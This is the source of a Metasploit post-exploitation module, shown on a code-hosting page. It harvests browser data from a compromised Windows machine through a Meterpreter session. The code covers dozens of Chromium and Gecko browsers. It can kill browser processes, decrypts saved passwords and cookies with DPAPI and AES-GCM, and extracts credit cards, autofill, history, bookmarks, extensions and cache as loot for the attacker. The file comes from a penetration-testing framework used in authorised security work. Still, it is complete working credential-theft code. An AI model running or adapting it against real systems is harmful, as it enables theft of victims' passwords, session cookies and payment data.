Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_browsers.rb
Views: 11655
require 'sqlite3'12class MetasploitModule < Msf::Post3include Msf::Post::File4include Msf::Post::Windows::UserProfiles56IV_SIZE = 127TAG_SIZE = 1689def initialize(info = {})10super(11update_info(12info,13'Name' => 'Advanced Browser Data Extraction for Chromium and Gecko Browsers',14'Description' => %q{15This post-exploitation module extracts sensitive browser data from both Chromium-based and Gecko-based browsers16on the target system. It supports the decryption of passwords and cookies using Windows Data Protection API (DPAPI)17and can extract additional data such as browsing history, keyword search history, download history, autofill data,18credit card information, browser cache and installed extensions.19},20'License' => MSF_LICENSE,21'Platform' => ['win'],22'Arch' => [ ARCH_X64, ARCH_X86 ],23'Targets' => [['Windows', {}]],24'SessionTypes' => ['meterpreter'],25'Author' => ['Alexander "xaitax" Hagenah'],26'Notes' => {27'Stability' => [CRASH_SAFE],28'Reliability' => [],29'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]30}31)32)3334register_options([35OptBool.new('KILL_BROWSER', [false, 'Kill browser processes before extracting data.', false]),36OptBool.new('USER_MIGRATION', [false, 'Migrate to explorer.exe running under user context before extraction.', false]),37OptString.new('BROWSER_TYPE', [true, 'Specify which browser to extract data from. Accepts "all" to process all browsers, "chromium" for Chromium-based browsers, "gecko" for Gecko-based browsers, or a specific browser name (e.g., "chrome", "edge", "firefox").', 'all']),38OptBool.new('EXTRACT_CACHE', [false, 'Extract browser cache (may take a long time). It is recommended to set "KILL_BROWSER" to "true" for best results, as this prevents file access issues.', false])39])40end4142def run43if session.type != 'meterpreter'44print_error('This module requires a meterpreter session.')45return46end4748user_account = session.sys.config.getuid4950if user_account.downcase.include?('nt authority\\system')51if datastore['USER_MIGRATION']52migrate_to_explorer53else54print_error('Session is running as SYSTEM. Use the Meterpreter migrate command or set USER_MIGRATION to true to switch to a user context.')55return56end57end5859sysinfo = session.sys.config.sysinfo60os = sysinfo['OS']61architecture = sysinfo['Architecture']62language = sysinfo['System Language']63computer = sysinfo['Computer']6465user_profile = get_env('USERPROFILE')66user_account = session.sys.config.getuid67ip_address = session.sock.peerhost6869if user_profile.nil? || user_profile.empty?70print_error('Could not determine the current user profile directory.')71return72end7374print_status("Targeting: #{user_account} (IP: #{ip_address})")75print_status("System Information: #{computer} | OS: #{os} | Arch: #{architecture} | Lang: #{language}")76print_status("Starting data extraction from user profile: #{user_profile}")77print_status('')7879case datastore['BROWSER_TYPE'].downcase80when 'chromium'81process_chromium_browsers(user_profile)82when 'gecko'83process_gecko_browsers(user_profile)84when 'all'85process_chromium_browsers(user_profile)86process_gecko_browsers(user_profile)87else88process_specific_browser(user_profile, datastore['BROWSER_TYPE'])89end90end9192def migrate_to_explorer93current_pid = session.sys.process.getpid94explorer_process = session.sys.process.get_processes.find { |p| p['name'].downcase == 'explorer.exe' }9596if explorer_process97explorer_pid = explorer_process['pid']98if explorer_pid == current_pid99print_status("Already running in explorer.exe (PID: #{explorer_pid}). No need to migrate.")100return101end102103print_status("Found explorer.exe running with PID: #{explorer_pid}. Attempting migration.")104105begin106session.core.migrate(explorer_pid)107print_good("Successfully migrated to explorer.exe (PID: #{explorer_pid}).")108rescue Rex::Post::Meterpreter::RequestError => e109print_error("Failed to migrate to explorer.exe (PID: #{explorer_pid}). Error: #{e.message}")110end111else112print_error('explorer.exe process not found. Migration aborted.')113end114end115116def chromium_browsers117{118'Microsoft\\Edge\\' => 'Microsoft Edge',119'Google\\Chrome\\' => 'Google Chrome',120'Opera Software\\Opera Stable' => 'Opera',121'Iridium\\' => 'Iridium',122'Chromium\\' => 'Chromium',123'BraveSoftware\\Brave-Browser\\' => 'Brave',124'CentBrowser\\' => 'CentBrowser',125'Chedot\\' => 'Chedot',126'Orbitum\\' => 'Orbitum',127'Comodo\\Dragon\\' => 'Comodo Dragon',128'Yandex\\YandexBrowser\\' => 'Yandex Browser',129'7Star\\7Star\\' => '7Star',130'Torch\\' => 'Torch',131'MapleStudio\\ChromePlus\\' => 'ChromePlus',132'Kometo\\' => 'Komet',133'Amigo\\' => 'Amigo',134'Sputnik\\Sputnik\\' => 'Sputnik',135'CatalinaGroup\\Citrio\\' => 'Citrio',136'360Chrome\\Chrome\\' => '360Chrome',137'uCozMedia\\Uran\\' => 'Uran',138'liebao\\' => 'Liebao',139'Elements Browser\\' => 'Elements Browser',140'Epic Privacy Browser\\' => 'Epic Privacy Browser',141'CocCoc\\Browser\\' => 'CocCoc Browser',142'Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer' => 'Sleipnir',143'QIP Surf\\' => 'QIP Surf',144'Coowon\\Coowon\\' => 'Coowon',145'Vivaldi\\' => 'Vivaldi'146}147end148149def gecko_browsers150{151'Mozilla\\Firefox\\' => 'Mozilla Firefox',152'Thunderbird\\' => 'Thunderbird',153'Mozilla\\SeaMonkey\\' => 'SeaMonkey',154'NETGATE Technologies\\BlackHawk\\' => 'BlackHawk',155'8pecxstudios\\Cyberfox\\' => 'Cyberfox',156'K-Meleon\\' => 'K-Meleon',157'Mozilla\\icecat\\' => 'Icecat',158'Moonchild Productions\\Pale Moon\\' => 'Pale Moon',159'Comodo\\IceDragon\\' => 'Comodo IceDragon',160'Waterfox\\' => 'Waterfox',161'Postbox\\' => 'Postbox',162'Flock\\Browser\\' => 'Flock Browser'163}164end165166def process_specific_browser(user_profile, browser_type)167found = false168browser_type_downcase = browser_type.downcase169170chromium_browsers.each do |path, name|171next unless name.downcase.include?(browser_type_downcase)172173print_status("Processing Chromium-based browser: #{name}")174process_chromium_browsers(user_profile, { path => name })175found = true176break177end178179gecko_browsers.each do |path, name|180next unless name.downcase.include?(browser_type_downcase)181182print_status("Processing Gecko-based browser: #{name}")183process_gecko_browsers(user_profile, { path => name })184found = true185break186end187188unless found189print_error("No browser matching '#{browser_type}' found.")190end191end192193def process_chromium_browsers(user_profile, browsers = chromium_browsers)194browsers.each do |path, name|195if name == 'Opera'196profile_path = "#{user_profile}\\AppData\\Roaming\\#{path}\\Default"197local_state = "#{user_profile}\\AppData\\Roaming\\#{path}\\Local State"198else199profile_path = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Default"200browser_version_path = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Last Version"201local_state = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Local State"202end203204next unless directory?(profile_path)205206browser_version = get_chromium_version(browser_version_path)207print_good("Found #{name}#{browser_version ? " (Version: #{browser_version})" : ''}")208209kill_browser_process(name) if datastore['KILL_BROWSER']210211if datastore['EXTRACT_CACHE']212process_chromium_cache(profile_path, name)213end214215encryption_key = get_chromium_encryption_key(local_state)216extract_chromium_data(profile_path, encryption_key, name)217end218end219220def get_chromium_version(last_version_path)221return nil unless file?(last_version_path)222223version = read_file(last_version_path).strip224return version unless version.empty?225226nil227end228229def process_gecko_browsers(user_profile, browsers = gecko_browsers)230browsers.each do |path, name|231profile_path = "#{user_profile}\\AppData\\Roaming\\#{path}\\Profiles"232next unless directory?(profile_path)233234found_browser = false235236session.fs.dir.entries(profile_path).each do |profile_dir|237next if profile_dir == '.' || profile_dir == '..'238239prefs_file = "#{profile_path}\\#{profile_dir}\\prefs.js"240browser_version = get_gecko_version(prefs_file)241242unless found_browser243print_good("Found #{name}#{browser_version ? " (Version: #{browser_version})" : ''}")244found_browser = true245end246247kill_browser_process(name) if datastore['KILL_BROWSER']248249if datastore['EXTRACT_CACHE']250process_gecko_cache("#{profile_path}\\#{profile_dir}", name)251end252253extract_gecko_data("#{profile_path}\\#{profile_dir}", name)254end255end256end257258def get_gecko_version(prefs_file)259return nil unless file?(prefs_file)260261version_line = read_file(prefs_file).lines.find { |line| line.include?('extensions.lastAppVersion') }262263if version_line && version_line =~ /"extensions\.lastAppVersion",\s*"(\d+\.\d+\.\d+)"/264return Regexp.last_match(1)265end266267nil268end269270def kill_browser_process(browser)271browser_process_names = {272'Microsoft Edge' => 'msedge.exe',273'Google Chrome' => 'chrome.exe',274'Opera' => 'opera.exe',275'Iridium' => 'iridium.exe',276'Chromium' => 'chromium.exe',277'Brave' => 'brave.exe',278'CentBrowser' => 'centbrowser.exe',279'Chedot' => 'chedot.exe',280'Orbitum' => 'orbitum.exe',281'Comodo Dragon' => 'dragon.exe',282'Yandex Browser' => 'browser.exe',283'7Star' => '7star.exe',284'Torch' => 'torch.exe',285'ChromePlus' => 'chromeplus.exe',286'Komet' => 'komet.exe',287'Amigo' => 'amigo.exe',288'Sputnik' => 'sputnik.exe',289'Citrio' => 'citrio.exe',290'360Chrome' => '360chrome.exe',291'Uran' => 'uran.exe',292'Liebao' => 'liebao.exe',293'Elements Browser' =>294'elementsbrowser.exe',295'Epic Privacy Browser' => 'epic.exe',296'CocCoc Browser' => 'browser.exe',297'Sleipnir' => 'sleipnir.exe',298'QIP Surf' => 'qipsurf.exe',299'Coowon' => 'coowon.exe',300'Vivaldi' => 'vivaldi.exe'301}302303process_name = browser_process_names[browser]304return unless process_name305306session.sys.process.get_processes.each do |process|307next unless process['name'].downcase == process_name.downcase308309begin310session.sys.process.kill(process['pid'])311rescue Rex::Post::Meterpreter::RequestError312next313end314end315316sleep(5)317end318319def decrypt_chromium_data(encrypted_data)320vprint_status('Starting DPAPI decryption process.')321begin322mem = session.railgun.kernel32.LocalAlloc(0, encrypted_data.length)['return']323raise 'Memory allocation failed.' if mem == 0324325session.railgun.memwrite(mem, encrypted_data)326327if session.arch == ARCH_X86328inout_fmt = 'V2'329elsif session.arch == ARCH_X64330inout_fmt = 'Q2'331else332fail_with(Failure::NoTarget, "Unsupported architecture: #{session.arch}")333end334335pdatain = [encrypted_data.length, mem].pack(inout_fmt)336ret = session.railgun.crypt32.CryptUnprotectData(337pdatain, nil, nil, nil, nil, 0, 2048338)339len, addr = ret['pDataOut'].unpack(inout_fmt)340decrypted_data = len == 0 ? nil : session.railgun.memread(addr, len)341342vprint_good('Decryption successful.')343return decrypted_data.strip344rescue StandardError => e345vprint_error("Error during DPAPI decryption: #{e.message}")346return nil347ensure348session.railgun.kernel32.LocalFree(mem) if mem != 0349session.railgun.kernel32.LocalFree(addr) if addr != 0350end351end352353def get_chromium_encryption_key(local_state_path)354vprint_status("Getting encryption key from: #{local_state_path}")355if file?(local_state_path)356local_state = read_file(local_state_path)357json_state = begin358JSON.parse(local_state)359rescue StandardError360nil361end362if json_state.nil?363print_error('Failed to parse JSON from Local State file.')364return nil365end366367if json_state['os_crypt'] && json_state['os_crypt']['encrypted_key']368encrypted_key = json_state['os_crypt']['encrypted_key']369encrypted_key_bin = begin370Rex::Text.decode_base64(encrypted_key)[5..]371rescue StandardError372nil373end374if encrypted_key_bin.nil?375print_error('Failed to Base64 decode the encrypted key.')376return nil377end378379vprint_status("Encrypted key (Base64-decoded, hex): #{encrypted_key_bin.unpack('H*').first}")380decrypted_key = decrypt_chromium_data(encrypted_key_bin)381382if decrypted_key.nil? || decrypted_key.length != 32383vprint_error("Decrypted key is not 32 bytes: #{decrypted_key.nil? ? 'nil' : decrypted_key.length} bytes")384if decrypted_key.length == 31385vprint_status('Decrypted key is 31 bytes, attempting to pad key for decryption.')386decrypted_key += "\x00"387else388return nil389end390end391vprint_good("Decrypted key (hex): #{decrypted_key.unpack('H*').first}")392return decrypted_key393else394print_error('os_crypt or encrypted_key not found in Local State.')395return nil396end397else398print_error("Local State file not found at: #{local_state_path}")399return nil400end401end402403def decrypt_chromium_password(encrypted_password, key)404@app_bound_encryption_detected ||= false405@password_decryption_failed ||= false406407# Check for the "v20" prefix that indicates App-Bound encryption, which can't be decrypted yet.408# https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html409if encrypted_password[0, 3] == 'v20'410unless @app_bound_encryption_detected411vprint_status('Detected entries using App-Bound encryption (v20). These entries will not be decrypted.')412@app_bound_encryption_detected = true413end414return nil415end416417if encrypted_password.nil? || encrypted_password.length < (IV_SIZE + TAG_SIZE + 3)418vprint_error('Invalid encrypted password length.')419return nil420end421422iv = encrypted_password[3, IV_SIZE]423ciphertext = encrypted_password[IV_SIZE + 3...-TAG_SIZE]424tag = encrypted_password[-TAG_SIZE..]425426if iv.nil? || iv.length != IV_SIZE427vprint_error("Invalid IV: expected #{IV_SIZE} bytes, got #{iv.nil? ? 'nil' : iv.length} bytes")428return nil429end430431begin432aes = OpenSSL::Cipher.new('aes-256-gcm')433aes.decrypt434aes.key = key435aes.iv = iv436aes.auth_tag = tag437decrypted_password = aes.update(ciphertext) + aes.final438return decrypted_password439rescue OpenSSL::Cipher::CipherError440unless @password_decryption_failed441vprint_status('Password decryption failed for one or more entries. These entries could not be decrypted.')442@password_decryption_failed = true443end444return nil445end446end447448def extract_chromium_data(profile_path, encryption_key, browser)449return print_error("Profile path #{profile_path} not found.") unless directory?(profile_path)450451process_chromium_logins(profile_path, encryption_key, browser)452process_chromium_cookies(profile_path, encryption_key, browser)453process_chromium_credit_cards(profile_path, encryption_key, browser)454process_chromium_download_history(profile_path, browser)455process_chromium_autofill_data(profile_path, browser)456process_chromium_keyword_search_history(profile_path, browser)457process_chromium_browsing_history(profile_path, browser)458process_chromium_bookmarks(profile_path, browser)459process_chromium_extensions(profile_path, browser)460end461462def process_chromium_logins(profile_path, encryption_key, browser)463login_data_path = "#{profile_path}\\Login Data"464if file?(login_data_path)465extract_sql_data(login_data_path, 'SELECT origin_url, username_value, password_value FROM logins', 'Passwords', browser, encryption_key)466else467vprint_error("Passwords not found at #{login_data_path}")468end469end470471def process_chromium_cookies(profile_path, encryption_key, browser)472cookies_path = "#{profile_path}\\Network\\Cookies"473if file?(cookies_path)474begin475extract_sql_data(cookies_path, 'SELECT host_key, name, path, encrypted_value FROM cookies', 'Cookies', browser, encryption_key)476rescue StandardError => e477if e.message.include?('core_channel_open')478print_error('└ Cannot access Cookies. File in use by another process.')479else480print_error("└ An error occurred while extracting cookies: #{e.message}")481end482end483else484vprint_error("└ Cookies not found at #{cookies_path}")485end486end487488def process_chromium_credit_cards(profile_path, encryption_key, browser)489credit_card_data_path = "#{profile_path}\\Web Data"490if file?(credit_card_data_path)491extract_sql_data(credit_card_data_path, 'SELECT * FROM credit_cards', 'Credit Cards', browser, encryption_key)492else493vprint_error("Credit Cards not found at #{credit_card_data_path}")494end495end496497def process_chromium_download_history(profile_path, browser)498download_history_path = "#{profile_path}\\History"499if file?(download_history_path)500extract_sql_data(download_history_path, 'SELECT * FROM downloads', 'Download History', browser)501else502vprint_error("Download History not found at #{download_history_path}")503end504end505506def process_chromium_autofill_data(profile_path, browser)507autofill_data_path = "#{profile_path}\\Web Data"508if file?(autofill_data_path)509extract_sql_data(autofill_data_path, 'SELECT * FROM autofill', 'Autofill Data', browser)510else511vprint_error("Autofill data not found at #{autofill_data_path}")512end513end514515def process_chromium_keyword_search_history(profile_path, browser)516keyword_search_history_path = "#{profile_path}\\History"517if file?(keyword_search_history_path)518extract_sql_data(keyword_search_history_path, 'SELECT term FROM keyword_search_terms', 'Keyword Search History', browser)519else520vprint_error("Keyword Search History not found at #{keyword_search_history_path}")521end522end523524def process_chromium_browsing_history(profile_path, browser)525browsing_history_path = "#{profile_path}\\History"526if file?(browsing_history_path)527extract_sql_data(browsing_history_path, 'SELECT url, title, visit_count, last_visit_time FROM urls', 'Browsing History', browser)528else529vprint_error("Browsing History not found at #{browsing_history_path}")530end531end532533def process_chromium_bookmarks(profile_path, browser)534bookmarks_path = "#{profile_path}\\Bookmarks"535return unless file?(bookmarks_path)536537bookmarks_data = read_file(bookmarks_path)538bookmarks_json = JSON.parse(bookmarks_data)539540bookmarks = []541if bookmarks_json['roots']['bookmark_bar']542traverse_and_collect_bookmarks(bookmarks_json['roots']['bookmark_bar'], bookmarks)543end544if bookmarks_json['roots']['other']545traverse_and_collect_bookmarks(bookmarks_json['roots']['other'], bookmarks)546end547548if bookmarks.any?549browser_clean = browser.gsub('\\', '_').chomp('_')550timestamp = Time.now.strftime('%Y%m%d%H%M')551ip = session.sock.peerhost552bookmark_entries = JSON.pretty_generate(bookmarks)553file_name = store_loot("#{browser_clean}_Bookmarks", 'application/json', session, bookmark_entries, "#{timestamp}_#{ip}_#{browser_clean}_Bookmarks.json", "#{browser_clean} Bookmarks")554555print_good("└ Bookmarks extracted to #{file_name} (#{bookmarks.length} entries)")556else557vprint_error("No bookmarks found for #{browser}.")558end559end560561def traverse_and_collect_bookmarks(bookmark_node, bookmarks)562if bookmark_node['children']563bookmark_node['children'].each do |child|564if child['type'] == 'url'565bookmarks << { name: child['name'], url: child['url'] }566elsif child['type'] == 'folder' && child['children']567traverse_and_collect_bookmarks(child, bookmarks)568end569end570end571end572573def process_chromium_extensions(profile_path, browser)574extensions_dir = "#{profile_path}\\Extensions\\"575return unless directory?(extensions_dir)576577extensions = []578session.fs.dir.entries(extensions_dir).each do |extension_id|579extension_path = "#{extensions_dir}\\#{extension_id}"580next unless directory?(extension_path)581582session.fs.dir.entries(extension_path).each do |version_folder|583next if version_folder == '.' || version_folder == '..'584585manifest_path = "#{extension_path}\\#{version_folder}\\manifest.json"586next unless file?(manifest_path)587588manifest_data = read_file(manifest_path)589manifest_json = JSON.parse(manifest_data)590591extension_name = manifest_json['name']592extension_version = manifest_json['version']593594if extension_name.start_with?('__MSG_')595extension_name = resolve_chromium_extension_name(extension_path, extension_name, version_folder)596end597598extensions << { 'name' => extension_name, 'version' => extension_version }599end600end601602if extensions.any?603browser_clean = browser.gsub('\\', '_').chomp('_')604timestamp = Time.now.strftime('%Y%m%d%H%M')605ip = session.sock.peerhost606file_name = store_loot("#{browser_clean}_Extensions", 'application/json', session, "#{JSON.pretty_generate(extensions)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Extensions.json", "#{browser_clean} Extensions")607print_good("└ Extensions extracted to #{file_name} (#{extensions.count} entries)")608else609vprint_error("No extensions found for #{browser}.")610end611end612613def resolve_chromium_extension_name(extension_path, name_key, version_folder)614resolved_key = name_key.gsub('__MSG_', '').gsub('__', '')615616locales_dir = "#{extension_path}\\#{version_folder}\\_locales"617unless directory?(locales_dir)618return name_key619end620621english_messages_path = "#{locales_dir}\\en\\messages.json"622if file?(english_messages_path)623messages_data = read_file(english_messages_path)624messages_json = JSON.parse(messages_data)625626messages_json.each do |key, value|627if key.casecmp?(resolved_key) && value['message']628return value['message']629end630end631return name_key632end633634session.fs.dir.entries(locales_dir).each do |locale_folder|635next if locale_folder == '.' || locale_folder == '..' || locale_folder == 'en'636637messages_path = "#{locales_dir}\\#{locale_folder}\\messages.json"638next unless file?(messages_path)639640messages_data = read_file(messages_path)641messages_json = JSON.parse(messages_data)642643messages_json.each do |key, value|644if key.casecmp?(resolved_key) && value['message']645return value['message']646end647end648end649650return name_key651end652653def process_chromium_cache(profile_path, browser)654cache_dir = "#{profile_path}\\Cache\\"655return unless directory?(cache_dir)656657total_size = 0658file_count = 0659files_to_zip = []660661session.fs.dir.foreach(cache_dir) do |subdir|662next if subdir == '.' || subdir == '..'663664subdir_path = "#{cache_dir}\\#{subdir}"665666if directory?(subdir_path)667session.fs.dir.foreach(subdir_path) do |file|668next if file == '.' || file == '..'669670file_path = "#{subdir_path}\\#{file}"671672if file?(file_path)673file_stat = session.fs.file.stat(file_path)674file_size = file_stat.stathash['st_size']675total_size += file_size676file_count += 1677files_to_zip << file_path678end679end680end681end682683print_status("#{file_count} cache files found for #{browser}, total size: #{total_size / 1024} KB")684685if file_count > 0686temp_dir = session.fs.file.expand_path('%TEMP%')687random_name = Rex::Text.rand_text_alpha(8)688zip_file_path = "#{temp_dir}\\#{random_name}.zip"689690zip = Rex::Zip::Archive.new691progress_interval = (file_count / 10.0).ceil692693files_to_zip.each_with_index do |file, index|694file_content = read_file(file)695zip.add_file(file, file_content) if file_content696697if (index + 1) % progress_interval == 0 || index == file_count - 1698progress_percent = ((index + 1) * 100 / file_count).to_i699print_status("Zipping progress: #{progress_percent}% (#{index + 1}/#{file_count} files processed)")700end701end702703write_file(zip_file_path, zip.pack)704print_status("Cache for #{browser} zipped to: #{zip_file_path}")705706browser_clean = browser.gsub('\\', '_').chomp('_')707timestamp = Time.now.strftime('%Y%m%d%H%M')708ip = session.sock.peerhost709cache_local_path = store_loot(710"#{browser_clean}_Cache",711'application/zip',712session,713read_file(zip_file_path),714"#{timestamp}_#{ip}_#{browser_clean}_Cache.zip",715"#{browser_clean} Cache"716)717718file_size = ::File.size(cache_local_path)719print_good("└ Cache extracted to #{cache_local_path} (#{file_size} bytes)") if file_size > 2720721session.fs.file.rm(zip_file_path)722else723vprint_status("No Cache files found for #{browser}.")724end725end726727def extract_gecko_data(profile_path, browser)728process_gecko_logins(profile_path, browser)729process_gecko_cookies(profile_path, browser)730process_gecko_download_history(profile_path, browser)731process_gecko_keyword_search_history(profile_path, browser)732process_gecko_browsing_history(profile_path, browser)733process_gecko_bookmarks(profile_path, browser)734process_gecko_extensions(profile_path, browser)735end736737def process_gecko_logins(profile_path, browser)738logins_path = "#{profile_path}\\logins.json"739return unless file?(logins_path)740741logins_data = read_file(logins_path)742logins_json = JSON.parse(logins_data)743744if logins_json['logins'].any?745browser_clean = browser.gsub('\\', '_').chomp('_')746timestamp = Time.now.strftime('%Y%m%d%H%M')747ip = session.sock.peerhost748file_name = store_loot("#{browser_clean}_Passwords", 'application/json', session, "#{JSON.pretty_generate(logins_json)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Passwords.json", "#{browser_clean} Passwords")749750print_good("└ Passwords extracted to #{file_name} (#{logins_json['logins'].length} entries)")751else752vprint_error("└ No passwords found for #{browser}.")753end754end755756def process_gecko_cookies(profile_path, browser)757cookies_path = "#{profile_path}\\cookies.sqlite"758if file?(cookies_path)759extract_sql_data(cookies_path, 'SELECT host, name, path, value, expiry FROM moz_cookies', 'Cookies', browser)760else761vprint_error("└ Cookies not found at #{cookies_path}")762end763end764765def process_gecko_download_history(profile_path, browser)766download_history_path = "#{profile_path}\\places.sqlite"767if file?(download_history_path)768extract_sql_data(download_history_path, 'SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id', 'Download History', browser)769else770vprint_error("└ Download History not found at #{download_history_path}")771end772end773774def process_gecko_keyword_search_history(profile_path, browser)775keyword_search_history_path = "#{profile_path}\\formhistory.sqlite"776if file?(keyword_search_history_path)777extract_sql_data(keyword_search_history_path, 'SELECT value FROM moz_formhistory', 'Keyword Search History', browser)778else779vprint_error("└ Keyword Search History not found at #{keyword_search_history_path}")780end781end782783def process_gecko_browsing_history(profile_path, browser)784browsing_history_path = "#{profile_path}\\places.sqlite"785if file?(browsing_history_path)786extract_sql_data(browsing_history_path, 'SELECT url, title, visit_count, last_visit_date FROM moz_places', 'Browsing History', browser)787else788vprint_error("└ Browsing History not found at #{browsing_history_path}")789end790end791792def process_gecko_bookmarks(profile_path, browser)793bookmarks_path = "#{profile_path}\\places.sqlite"794if file?(bookmarks_path)795extract_sql_data(bookmarks_path, 'SELECT moz_bookmarks.title AS title, moz_places.url AS url FROM moz_bookmarks JOIN moz_places ON moz_bookmarks.fk = moz_places.id', 'Bookmarks', browser)796else797vprint_error("└ Bookmarks not found at #{bookmarks_path}")798end799end800801def process_gecko_extensions(profile_path, browser)802addons_path = "#{profile_path}\\addons.json"803return unless file?(addons_path)804805addons_data = read_file(addons_path)806addons_json = JSON.parse(addons_data)807808extensions = []809810if addons_json['addons']811addons_json['addons'].each do |addon|812extension_name = addon['name']813extension_version = addon['version']814extensions << { 'name' => extension_name, 'version' => extension_version }815end816end817818if extensions.any?819browser_clean = browser.gsub('\\', '_').chomp('_')820timestamp = Time.now.strftime('%Y%m%d%H%M')821ip = session.sock.peerhost822file_name = store_loot("#{browser_clean}_Extensions", 'application/json', session, "#{JSON.pretty_generate(extensions)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Extensions.json", "#{browser_clean} Extensions")823824print_good("└ Extensions extracted to #{file_name} (#{extensions.length} entries)")825else826vprint_error("└ No extensions found for #{browser}.")827end828end829830def process_gecko_cache(profile_path, browser)831cache_dir = "#{profile_path.gsub('Roaming', 'Local')}\\cache2\\entries"832return unless directory?(cache_dir)833834total_size = 0835file_count = 0836files_to_zip = []837838session.fs.dir.foreach(cache_dir) do |file|839next if file == '.' || file == '..'840841file_path = "#{cache_dir}\\#{file}"842843if file?(file_path)844file_stat = session.fs.file.stat(file_path)845file_size = file_stat.stathash['st_size']846total_size += file_size847file_count += 1848files_to_zip << file_path849end850end851852print_status("#{file_count} cache files found for #{browser}, total size: #{total_size / 1024} KB")853854if file_count > 0855temp_dir = session.fs.file.expand_path('%TEMP%')856random_name = Rex::Text.rand_text_alpha(8)857zip_file_path = "#{temp_dir}\\#{random_name}.zip"858859zip = Rex::Zip::Archive.new860progress_interval = (file_count / 10.0).ceil861862files_to_zip.each_with_index do |file, index|863file_content = read_file(file)864zip.add_file(file, file_content) if file_content865866if (index + 1) % progress_interval == 0 || index == file_count - 1867progress_percent = ((index + 1) * 100 / file_count).to_i868print_status("└ Zipping progress: #{progress_percent}% (#{index + 1}/#{file_count} files processed)")869end870end871872write_file(zip_file_path, zip.pack)873print_status("└ Cache for #{browser} zipped to: #{zip_file_path}")874875browser_clean = browser.gsub('\\', '_').chomp('_')876timestamp = Time.now.strftime('%Y%m%d%H%M')877ip = session.sock.peerhost878cache_local_path = store_loot(879"#{browser_clean}_Cache",880'application/zip',881session,882read_file(zip_file_path),883"#{timestamp}_#{ip}_#{browser_clean}_Cache.zip",884"#{browser_clean} Cache"885)886887file_size = ::File.size(cache_local_path)888print_good("└ Cache extracted to #{cache_local_path} (#{file_size} bytes)") if file_size > 2889890session.fs.file.rm(zip_file_path)891else892vprint_status("└ No Cache files found for #{browser}.")893end894end895896def extract_sql_data(db_path, query, data_type, browser, encryption_key = nil)897if file?(db_path)898db_local_path = "#{Rex::Text.rand_text_alpha(8, 12)}.db"899session.fs.file.download_file(db_local_path, db_path)900901begin902columns, *result = SQLite3::Database.open(db_local_path) do |db|903db.execute2(query)904end905906if encryption_key907result.each do |row|908next unless row[-1]909910if data_type == 'Cookies' && row[-1].length >= (IV_SIZE + TAG_SIZE + 3)911row[-1] = decrypt_chromium_password(row[-1], encryption_key)912elsif data_type == 'Passwords' && row[2].length >= (IV_SIZE + TAG_SIZE + 3)913row[2] = decrypt_chromium_password(row[2], encryption_key)914end915end916end917918if result.any?919browser_clean = browser.gsub('\\', '_').chomp('_')920timestamp = Time.now.strftime('%Y%m%d%H%M')921ip = session.sock.peerhost922result = result.map { |row| columns.zip(row).to_h }923data = "#{JSON.pretty_generate(result)}\n"924file_name = store_loot("#{browser_clean}_#{data_type}", 'application/json', session, data, "#{timestamp}_#{ip}_#{browser_clean}_#{data_type}.json", "#{browser_clean} #{data_type.capitalize}")925926print_good("└ #{data_type.capitalize} extracted to #{file_name} (#{result.length} entries)")927else928vprint_error("└ #{data_type.capitalize} empty")929end930ensure931::File.delete(db_local_path) if ::File.exist?(db_local_path)932end933end934end935936end937938939